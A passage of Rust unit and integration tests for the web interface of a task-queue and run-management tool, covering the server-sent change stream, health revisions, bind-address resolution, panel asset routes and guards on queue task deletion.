20307        assert!(
20308            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
20309            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
20310             hashchange event that may never fire"
20311        );
20312    }
20313
20314    #[test]
20315    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
20316        // A stats tile can leave state.runsFilter.status set to something
20317        // done-by-construction (e.g. "merged") - picking "Active" afterward
20318        // must drop it the same way an incompatible tree section is already
20319        // dropped, or the Runs list renders permanently empty with no way
20320        // for the operator to tell why.
20321        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
20322        assert!(
20323            APP_JS.contains(
20324                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
20325            ),
20326            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
20327             guard for an incompatible tree section"
20328        );
20329    }
20330
20331    #[test]
20332    fn every_stats_queue_tile_names_a_real_queue_section() {
20333        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
20334        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
20335        // (consumeQueueSectionFocus finds no matching <details> and drops
20336        // the focus) rather than fail loudly, so pin every key against the
20337        // section list it has to resolve against.
20338        assert!(
20339            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
20340            "every queue tile built through sectionTile() must route its click through \
20341             openQueueSectionFocus"
20342        );
20343        for key in ["upnext", "running", "done", "held", "blocked"] {
20344            assert!(
20345                APP_JS.contains(&format!("{{ key: \"{key}\",")),
20346                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
20347            );
20348        }
20349        // Queued and Failed intentionally both resolve to "upnext" - the
20350        // same section queueSection() itself files them under - rather than
20351        // getting a section each.
20352        for line in [
20353            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
20354            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
20355            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
20356            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
20357            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
20358            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
20359        ] {
20360            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
20361        }
20362    }
20363
20364    #[test]
20365    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
20366        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
20367        // above for the section-focus channel a stats queue tile drives:
20368        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
20369        // through the stale-search-clear recursion into renderQueue(), and
20370        // clear it only once revealQueueSection() is actually about to run -
20371        // the same trap that once silently dropped a task-focus jump.
20372        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20373        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20374        assert!(APP_JS.contains("function revealQueueSection(details)"));
20375        assert!(
20376            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
20377            "renderQueue() must consume both focus channels on every pass"
20378        );
20379        assert!(
20380            APP_JS.contains(
20381                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
20382            ),
20383            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20384             the recursive renderQueue() call has nothing left to reveal"
20385        );
20386        assert!(
20387            APP_JS.contains(
20388                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
20389            ),
20390            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20391        );
20392        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
20393        // task-focus form of the hash - a plain `#queue` navigation only
20394        // flips which view is visible. openQueueSectionFocus() must
20395        // therefore call renderQueue() itself, and applyRoute() too so the
20396        // view flips even when the hash doesn't change (the Backlog may
20397        // already be open when a tile is tapped, firing no hashchange
20398        // event at all).
20399        assert!(
20400            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
20401            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20402             hashchange event that may never fire"
20403        );
20404    }
20405
20406    #[tokio::test]
20407    async fn the_change_stream_announces_the_current_revisions_on_connect() {
20408        let f = Fixture::start().await;
20409
20410        let mut socket = tokio::net::TcpStream::connect(f.addr)
20411            .await
20412            .expect("connect");
20413        socket
20414            .write_all(
20415                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20416            )
20417            .await
20418            .expect("write request");
20419
20420        // Read until the first event arrives rather than to end of stream: the
20421        // stream is endless by design, which is the point of the route.
20422        let mut seen = String::new();
20423        let mut buf = [0u8; 1024];
20424        while !seen.contains("event: change") {
20425            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20426                .await
20427                .expect("the stream must speak within five seconds")
20428                .expect("read");
20429            assert!(read > 0, "the server closed the change stream: {seen}");
20430            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20431        }
20432
20433        assert!(
20434            seen.to_lowercase()
20435                .contains("content-type: text/event-stream"),
20436            "the browser only reconnects automatically for a real SSE stream: {seen}"
20437        );
20438        let data = seen
20439            .lines()
20440            .find_map(|l| l.strip_prefix("data:"))
20441            .expect("a data line");
20442        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20443        assert!(
20444            payload["queue_rev"].is_u64()
20445                && payload["runs_rev"].is_u64()
20446                && payload["questions_rev"].is_u64()
20447                && payload["talks_rev"].is_u64()
20448                && payload["notifications_rev"].is_u64()
20449                && payload["loop_rev"].is_u64(),
20450            "the client needs one revision per store to know what to refetch, \
20451             and `talks_rev` is the only notification a standing talk gets - a \
20452             phone whose radio slept through a turn learns about it here, as \
20453             does one whose operator started the loop from another device: \
20454             {payload}"
20455        );
20456
20457        // The front end re-polls health on a timer and on wake, and takes the
20458        // revisions from that answer whenever the stream is not up. So health
20459        // has to carry every key the stream carries: a phone on a link that
20460        // will not hold an SSE connection is exactly the phone that must still
20461        // notice a question, and a missing key there is not a 500 but a UI
20462        // that quietly stops updating.
20463        let health = f.get("/api/health").await.json();
20464        for key in [
20465            "queue_rev",
20466            "runs_rev",
20467            "questions_rev",
20468            "talks_rev",
20469            "notifications_rev",
20470            "loop_rev",
20471        ] {
20472            assert!(
20473                health[key].is_u64(),
20474                "health is the change stream's fallback and is missing `{key}`: {health}"
20475            );
20476        }
20477    }
20478
20479    #[tokio::test]
20480    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20481        let f = Fixture::start().await;
20482        let before = f.get("/api/health").await.json()["talks_rev"]
20483            .as_u64()
20484            .expect("talks_rev");
20485
20486        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20487        std::thread::sleep(Duration::from_millis(10));
20488        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20489        on_disk.turns.push(crate::talk::Turn {
20490            sender: None,
20491            breaks: Some(Vec::new()),
20492            messages: Vec::new(),
20493            posted_by: None,
20494            who: crate::talk::Who::Operator,
20495            body: "a new turn".to_owned(),
20496            at: Timestamp::now(),
20497            attachments: Vec::new(),
20498            usage: None,
20499        });
20500        f.talks().put(&mut on_disk).expect("record a turn");
20501
20502        let after = tokio::time::timeout(Duration::from_secs(5), async {
20503            loop {
20504                let revision = f.get("/api/health").await.json()["talks_rev"]
20505                    .as_u64()
20506                    .unwrap();
20507                if revision != before {
20508                    break revision;
20509                }
20510                tokio::time::sleep(Duration::from_millis(50)).await;
20511            }
20512        })
20513        .await
20514        .expect("shared monitor observes external turn");
20515        assert_ne!(
20516            before, after,
20517            "a phone must be able to notice a talk's reply without polling every store"
20518        );
20519    }
20520
20521    #[test]
20522    fn bind_reads_back_from_the_spelling_the_cli_prints() {
20523        // The CLI shows the default in `--help` and parses whatever comes
20524        // back, so the two directions have to agree or `--bind auto` breaks
20525        // the moment someone copies the help text.
20526        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20527            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20528        }
20529        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20530        assert!("everywhere".parse::<Bind>().is_err());
20531    }
20532
20533    #[test]
20534    fn an_explicit_bind_address_is_taken_verbatim() {
20535        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20536
20537        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20538
20539        assert_eq!(addr, asked);
20540        assert!(
20541            warning.is_none(),
20542            "an operator who named an address gets no lecture"
20543        );
20544    }
20545
20546    #[test]
20547    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20548        let (addr, warning) = resolve_bind(&Bind::Auto);
20549
20550        // This has to hold on a CI runner with no `tailscale` and on a dev box
20551        // with one, so the invariant asserted is the one shared by both
20552        // outcomes: the address is either a real tailnet address offered
20553        // without comment, or loopback with an explanation. What must never
20554        // happen is a silent fallback - an operator told "listening on
20555        // 127.0.0.1" with no reason would go looking for a firewall.
20556        match addr {
20557            IpAddr::V4(ip) if is_tailnet(&ip) => {
20558                assert!(warning.is_none(), "a tailnet address needs no warning");
20559            }
20560            other => {
20561                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20562                let warning = warning.expect("a fallback has to explain itself");
20563                assert!(
20564                    warning.contains("127.0.0.1") && warning.contains("local-only"),
20565                    "the warning says what happened and what it costs: {warning}"
20566                );
20567            }
20568        }
20569    }
20570
20571    #[test]
20572    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20573        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
20574        // boundary cases are what stop us binding to some other tool's idea of
20575        // an address.
20576        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20577        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20578        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20579        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20580        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20581    }
20582
20583    #[test]
20584    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20585        let ids = vec![
20586            "20260902-140501-aaaa".to_owned(),
20587            "20260902-140502-aabb".to_owned(),
20588        ];
20589
20590        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20591        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20592        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20593
20594        assert_eq!(missing.status, StatusCode::NOT_FOUND);
20595        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20596        assert_eq!(short, "20260902-140502-aabb");
20597    }
20598    #[tokio::test]
20599    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20600        // The prompt tells agents to reference attachments by bare filename.
20601        // A document served at `.../panel` resolves `shot.png` against its own
20602        // directory, i.e. `.../shot.png`, which is not the asset route - so a
20603        // panel written exactly as instructed showed broken images. Caught by
20604        // looking at a real one in a browser, not by reading the code.
20605        let fx = Fixture::start().await;
20606        let id = panel(
20607            &fx,
20608            "<img src=\"shot.png\">",
20609            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20610        );
20611
20612        // The frame's own URL ends in a filename, so its siblings are reachable.
20613        let doc = fx
20614            .get(&format!("/api/questions/{id}/panel/index.html"))
20615            .await;
20616        assert_eq!(doc.status, 200, "{}", doc.body);
20617        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20618
20619        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20620        assert_eq!(sibling.status, 200, "{}", sibling.body);
20621        assert_eq!(sibling.header("content-type"), Some("image/png"));
20622        assert_eq!(
20623            sibling.header("content-security-policy"),
20624            Some(PANEL_CSP),
20625            "the sibling route must carry the same policy as the asset route"
20626        );
20627
20628        // The original spelling keeps working: HEAD on it is how the front end
20629        // decides whether to mount a frame at all.
20630        assert_eq!(
20631            fx.head(&format!("/api/questions/{id}/panel")).await.status,
20632            200
20633        );
20634    }
20635
20636    #[test]
20637    fn delta_stamps_cover_add_update_remove_and_noop() {
20638        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20639        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20640        let delta = diff_stamps(&before, &after, 42);
20641        assert_eq!(delta.base, 42);
20642        assert_eq!(delta.changed, ["b", "c"]);
20643        assert_eq!(delta.removed, ["a"]);
20644        let same = diff_stamps(&after, &after, 43);
20645        assert!(same.changed.is_empty() && same.removed.is_empty());
20646        assert_ne!(stamps_revision(&before), stamps_revision(&after));
20647        let nanos: Stamps = [("b".into(), (2, 20))].into();
20648        let same_ms: Stamps = [("b".into(), (3, 20))].into();
20649        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20650        assert_eq!(stamps_revision(&Stamps::new()), 0);
20651    }
20652
20653    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20654        std::fs::create_dir_all(home.join("runs")).unwrap();
20655        Arc::new(Ui::new(
20656            Queue::at(home.join("queue")),
20657            Questions::at(home.join("questions")),
20658            Talks::at(home.join("talks")),
20659            home.join("runs"),
20660            home.to_owned(),
20661            PathBuf::from("/repo/magi"),
20662        ))
20663    }
20664
20665    #[test]
20666    fn monitor_scan_isolates_store_failures_and_recovers() {
20667        let home = TempDir::new().unwrap();
20668        let ui = delta_test_ui(home.path());
20669        std::fs::create_dir_all(ui.questions.root()).unwrap();
20670        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20671        let before = monitor_scan(&ui, None);
20672        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20673        std::fs::write(ui.questions.root(), "not a directory").unwrap();
20674        std::fs::create_dir_all(ui.talks.root()).unwrap();
20675        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20676        let during = monitor_scan(&ui, Some(before.clone()));
20677        assert_eq!(during.0.2, before.0.2);
20678        assert_ne!(during.0.3, before.0.3);
20679        assert!(during.1[2].contains_key("new"));
20680        std::fs::remove_file(ui.questions.root()).unwrap();
20681        let after = monitor_scan(&ui, Some(during));
20682        assert_eq!(after.0.2, 0);
20683        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20684        // A failed first scan also permits healthy stores to publish.
20685        std::fs::write(ui.questions.root(), "not a directory").unwrap();
20686        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20687    }
20688
20689    #[tokio::test]
20690    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20691        let home = TempDir::new().unwrap();
20692        let ui = delta_test_ui(home.path());
20693        let mut task = Task::new(
20694            "stream task".into(),
20695            "text".into(),
20696            PathBuf::from("/repo"),
20697            Source::Human,
20698        );
20699        ui.queue.put(&mut task).unwrap();
20700        let response = events(State(ui.clone())).await.into_response();
20701        let mut stream = response.into_body().into_data_stream();
20702        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
20703            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
20704                .await
20705                .unwrap()
20706                .unwrap()
20707                .unwrap();
20708            let text = String::from_utf8(chunk.to_vec()).unwrap();
20709            let data = text
20710                .lines()
20711                .find_map(|line| {
20712                    line.strip_prefix("data: ")
20713                        .or_else(|| line.strip_prefix("data:"))
20714                })
20715                .unwrap();
20716            serde_json::from_str(data).unwrap()
20717        }
20718        let initial = change(&mut stream).await;
20719        assert!(initial.get("queue_delta").is_none());
20720        task.instruction.push_str(" changed");
20721        ui.queue.put(&mut task).unwrap();
20722        let updated = change(&mut stream).await;
20723        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
20724        assert_eq!(
20725            updated["queue_delta"]["changed"],
20726            serde_json::json!([task.id])
20727        );
20728        assert_eq!(
20729            updated["queue_rev"].as_u64(),
20730            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
20731        );
20732        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
20733        let removed = change(&mut stream).await;
20734        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
20735        assert_eq!(
20736            removed["queue_delta"]["removed"],
20737            serde_json::json!([task.id])
20738        );
20739    }
20740
20741    #[tokio::test]
20742    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
20743        let home = TempDir::new().unwrap();
20744        let ui = delta_test_ui(home.path());
20745        let queue = ui.queue.clone();
20746        let query = |ids: Option<&str>| {
20747            Query(ListQuery {
20748                limit: Some(2),
20749                ids: ids.map(str::to_owned),
20750            })
20751        };
20752        let mut root = Task::new(
20753            "root".into(),
20754            "instruction".into(),
20755            PathBuf::from("/repo"),
20756            Source::Human,
20757        );
20758        queue.put(&mut root).unwrap();
20759        let mut blocked = Task::new(
20760            "blocked".into(),
20761            "instruction".into(),
20762            PathBuf::from("/repo"),
20763            Source::Human,
20764        );
20765        blocked.block(vec![root.id.clone()], None);
20766        queue.put(&mut blocked).unwrap();
20767        let whole =
20768            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
20769                .unwrap();
20770        let subset = serde_json::to_value(
20771            queue_list(State(ui.clone()), query(Some(&root.id)))
20772                .await
20773                .unwrap()
20774                .0,
20775        )
20776        .unwrap();
20777        assert_eq!(whole, subset, "requested root plus its blocked dependent");
20778        let blockers = serde_json::to_value(
20779            queue_list(State(ui.clone()), query(Some("")))
20780                .await
20781                .unwrap()
20782                .0,
20783        )
20784        .unwrap();
20785        assert_eq!(blockers.as_array().unwrap().len(), 1);
20786        assert_eq!(blockers[0]["id"], blocked.id);
20787        assert_eq!(
20788            blockers[0]["waits_on"],
20789            whole
20790                .as_array()
20791                .unwrap()
20792                .iter()
20793                .find(|row| row["id"] == blocked.id)
20794                .unwrap()["waits_on"]
20795        );
20796
20797        for id in [
20798            "20260902-140501-aaaa",
20799            "20260902-140502-bbbb",
20800            "20260902-140503-cccc",
20801        ] {
20802            write_run(&ui.runs, id, RunStatus::Merged);
20803        }
20804        let old = serde_json::to_value(
20805            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
20806                .await
20807                .unwrap()
20808                .0,
20809        )
20810        .unwrap();
20811        assert!(
20812            old.as_array().unwrap().is_empty(),
20813            "older updates must not enter the window"
20814        );
20815        let newest = serde_json::to_value(
20816            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
20817                .await
20818                .unwrap()
20819                .0,
20820        )
20821        .unwrap();
20822        assert_eq!(newest.as_array().unwrap().len(), 1);
20823        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
20824
20825        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
20826        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
20827        let talks = serde_json::to_value(
20828            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
20829                .await
20830                .unwrap()
20831                .0,
20832        )
20833        .unwrap();
20834        assert_eq!(talks.as_array().unwrap().len(), 1);
20835        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
20836        assert_eq!(
20837            serde_json::to_value(
20838                talks_list(State(ui.clone()), query(Some("")))
20839                    .await
20840                    .unwrap()
20841                    .0
20842            )
20843            .unwrap(),
20844            serde_json::json!([])
20845        );
20846    }
20847
20848    #[tokio::test]
20849    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
20850    async fn delta_payload_benchmark() {
20851        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
20852        let ui = delta_test_ui(&home);
20853        let query = |ids: Option<String>| {
20854            Query(ListQuery {
20855                limit: Some(50),
20856                ids,
20857            })
20858        };
20859        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
20860        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
20861        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
20862        let queue_id = queue
20863            .iter()
20864            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
20865            .unwrap_or(&queue[0])
20866            .task
20867            .id
20868            .clone();
20869        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
20870            .await
20871            .unwrap()
20872            .0;
20873        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
20874            .await
20875            .unwrap()
20876            .0;
20877        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
20878            .await
20879            .unwrap()
20880            .0;
20881        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
20882        eprintln!(
20883            "DELTA_PAYLOAD {}",
20884            serde_json::json!({
20885                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
20886                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
20887                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
20888                "counts": [queue.len(), runs.len(), talks.len()],
20889                "blocked": queue_delta.len() - 1,
20890            })
20891        );
20892    }
20893
20894    #[test]
20895    fn runs_revision_moves_when_deleting_an_older_run() {
20896        let temp = TempDir::new().expect("tempdir");
20897        let runs = temp.path().join("runs");
20898        std::fs::create_dir_all(&runs).expect("create runs dir");
20899
20900        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
20901
20902        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
20903        std::thread::sleep(Duration::from_millis(10));
20904        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
20905
20906        let rev_before = runs_revision(&runs);
20907        assert!(rev_before > 0);
20908
20909        let old_dir = runs.join("20260901-100000-old1");
20910        std::fs::remove_dir_all(&old_dir).expect("remove old run");
20911
20912        let rev_after = runs_revision(&runs);
20913        assert_ne!(
20914            rev_before, rev_after,
20915            "deleting an older run must change the revision so other clients see the deletion"
20916        );
20917    }
20918
20919    /// A run's own `run.json` on an explicit `runs` root, bypassing the
20920    /// process-global home entirely — `RunState::save` writes through
20921    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
20922    /// (see `tests::home_lock` in the integration suite for why).
20923    fn write_state(runs: &FsPath, state: &RunState) {
20924        let dir = runs.join(&state.id);
20925        std::fs::create_dir_all(&dir).expect("run dir");
20926        std::fs::write(
20927            dir.join("run.json"),
20928            serde_json::to_string_pretty(state).expect("serialize run"),
20929        )
20930        .expect("write run.json");
20931    }
20932
20933    /// A seat starting or finishing is a write to `run.json` like any other,
20934    /// so it moves the same revision the change stream already watches —
20935    /// nothing new for `/api/events` to learn, but the property this feature
20936    /// depends on to reach the phone without a poll.
20937    #[test]
20938    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
20939        let temp = TempDir::new().expect("tempdir");
20940        let runs = temp.path().join("runs");
20941        std::fs::create_dir_all(&runs).expect("create runs dir");
20942        let mut state = RunState::new(
20943            PathBuf::from("/repo/magi"),
20944            "main".to_owned(),
20945            "0123456789abcdef".to_owned(),
20946            "task".to_owned(),
20947            Config::default(),
20948        );
20949        state.id = "20260902-100000-c0de".to_owned();
20950        write_state(&runs, &state);
20951
20952        let rev_idle = runs_revision(&runs);
20953        std::thread::sleep(Duration::from_millis(10));
20954        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
20955        write_state(&runs, &state);
20956        let rev_started = runs_revision(&runs);
20957        assert_ne!(
20958            rev_idle, rev_started,
20959            "a seat starting must move the revision"
20960        );
20961
20962        std::thread::sleep(Duration::from_millis(10));
20963        state.seat_finished("judge-1");
20964        write_state(&runs, &state);
20965        let rev_finished = runs_revision(&runs);
20966        assert_ne!(
20967            rev_started, rev_finished,
20968            "and clearing it again must move the revision a second time"
20969        );
20970    }
20971
20972    #[tokio::test]
20973    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
20974        // `TaskView` flattens `Task`, so this is really asserting that
20975        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
20976        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
20977        // never touched web.rs, so nothing here caught it if it had.
20978        let fx = Fixture::start().await;
20979        let q = fx.queue();
20980
20981        let mut t = Task::new(
20982            "Task".to_owned(),
20983            "Instruction".to_owned(),
20984            PathBuf::from("/repo"),
20985            Source::Human,
20986        );
20987        t.block(
20988            vec!["20260101-000000-dead".to_owned()],
20989            Some("waiting on Task 1".to_owned()),
20990        );
20991        t.answers.push(crate::queue::AnsweredQuestion {
20992            question: "Which backend?".to_owned(),
20993            answer: "SQLite".to_owned(),
20994        });
20995        q.put(&mut t).expect("put t");
20996
20997        let res = fx.get("/api/queue").await;
20998        assert_eq!(res.status, 200);
20999        let list = res.json();
21000        let view = list
21001            .as_array()
21002            .expect("array")
21003            .iter()
21004            .find(|v| v["id"] == t.id)
21005            .expect("task in list");
21006        assert_eq!(view["status_str"], "blocked");
21007        assert_eq!(
21008            view["blocked_by"],
21009            serde_json::json!(["20260101-000000-dead"])
21010        );
21011        assert_eq!(view["block_reason"], "waiting on Task 1");
21012        assert_eq!(view["answers"][0]["question"], "Which backend?");
21013        assert_eq!(view["answers"][0]["answer"], "SQLite");
21014
21015        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
21016        // but never `answers` - that is a settled decision, not state
21017        // describing the current block, so it survives.
21018        let res = fx
21019            .post(&format!("/api/queue/{}/hold", t.short()), None)
21020            .await;
21021        assert_eq!(res.status, 200);
21022        let held = res.json();
21023        assert_eq!(held["status_str"], "held");
21024        assert_eq!(held["blocked_by"], serde_json::json!([]));
21025        assert!(held["block_reason"].is_null());
21026        assert_eq!(held["answers"][0]["answer"], "SQLite");
21027    }
21028
21029    #[tokio::test]
21030    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
21031        let fx = Fixture::start().await;
21032        let q = fx.queue();
21033        let mk = |title: &str| {
21034            Task::new(
21035                title.to_owned(),
21036                "Instruction".to_owned(),
21037                PathBuf::from("/repo"),
21038                Source::Human,
21039            )
21040        };
21041        let mut root = mk("root");
21042        root.hold_manual(Some("waiting".to_owned()));
21043        q.put(&mut root).unwrap();
21044        let mut mid = mk("mid");
21045        mid.block(vec![root.id.clone()], None);
21046        q.put(&mut mid).unwrap();
21047        let mut leaf = mk("leaf");
21048        leaf.block(vec![mid.id.clone()], None);
21049        q.put(&mut leaf).unwrap();
21050
21051        let list = fx.get("/api/queue").await.json();
21052        let find = |id: &str| {
21053            list.as_array()
21054                .unwrap()
21055                .iter()
21056                .find(|v| v["id"] == id)
21057                .unwrap()
21058                .clone()
21059        };
21060        let leaf_view = find(&leaf.id);
21061        assert_eq!(
21062            leaf_view["waits_on"],
21063            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
21064        );
21065        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
21066        assert_eq!(
21067            find(&mid.id)["waits_on"],
21068            serde_json::json!([format!("{} (held)", root.short())])
21069        );
21070        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
21071    }
21072
21073    #[tokio::test]
21074    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
21075        let fx = Fixture::start().await;
21076        let q = fx.queue();
21077
21078        // 1. A queued task with runs attached can be deleted.
21079        let mut t1 = Task::new(
21080            "Task 1".to_owned(),
21081            "Instruction 1".to_owned(),
21082            PathBuf::from("/repo"),
21083            Source::Human,
21084        );
21085        let run_id = "20260901-000000-r111";
21086        t1.runs.push(run_id.to_owned());
21087        write_run(&fx.runs(), run_id, RunStatus::Merged);
21088        q.put(&mut t1).expect("put t1");
21089
21090        // Delete by short id
21091        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
21092        assert_eq!(res.status, 204);
21093        assert!(res.body.is_empty(), "204 No Content has no body");
21094        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
21095        assert!(
21096            fx.runs().join(run_id).exists(),
21097            "run directory must not be deleted when its task is deleted"
21098        );
21099
21100        // 2. A task a live daemon is running is refused with 409.
21101        let mut t2 = Task::new(
21102            "Task 2".to_owned(),
21103            "Instruction 2".to_owned(),
21104            PathBuf::from("/repo"),
21105            Source::Human,
21106        );
21107        t2.status = TaskStatus::Running;
21108        q.put(&mut t2).expect("put t2");
21109        let mut beat = crate::daemon::Status::new();
21110        beat.current = vec![crate::daemon::Current {
21111            worker: None,
21112            task: t2.id.clone(),
21113            run: "20260901-000000-r222".to_owned(),
21114        }];
21115        beat.updated_at = jiff::Timestamp::now();
21116        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21117            .expect("publish a heartbeat");
21118        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
21119        assert_eq!(res.status, 409);
21120        assert!(
21121            res.json()["error"]
21122                .as_str()
21123                .unwrap()
21124                .contains("live daemon")
21125        );
21126        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
21127
21128        // 3. The same `running` status and an orphaned lock, with no daemon
21129        // behind either, is a leftover and deletable. Before this the phone
21130        // refused it for good: the status never changes on its own and
21131        // nothing drops a lock whose process is gone.
21132        // The daemon is killed: the file stays, the heartbeat stops.
21133        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
21134        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21135            .expect("leave a stale heartbeat");
21136        let mut t3 = Task::new(
21137            "Task 3".to_owned(),
21138            "Instruction 3".to_owned(),
21139            PathBuf::from("/repo"),
21140            Source::Human,
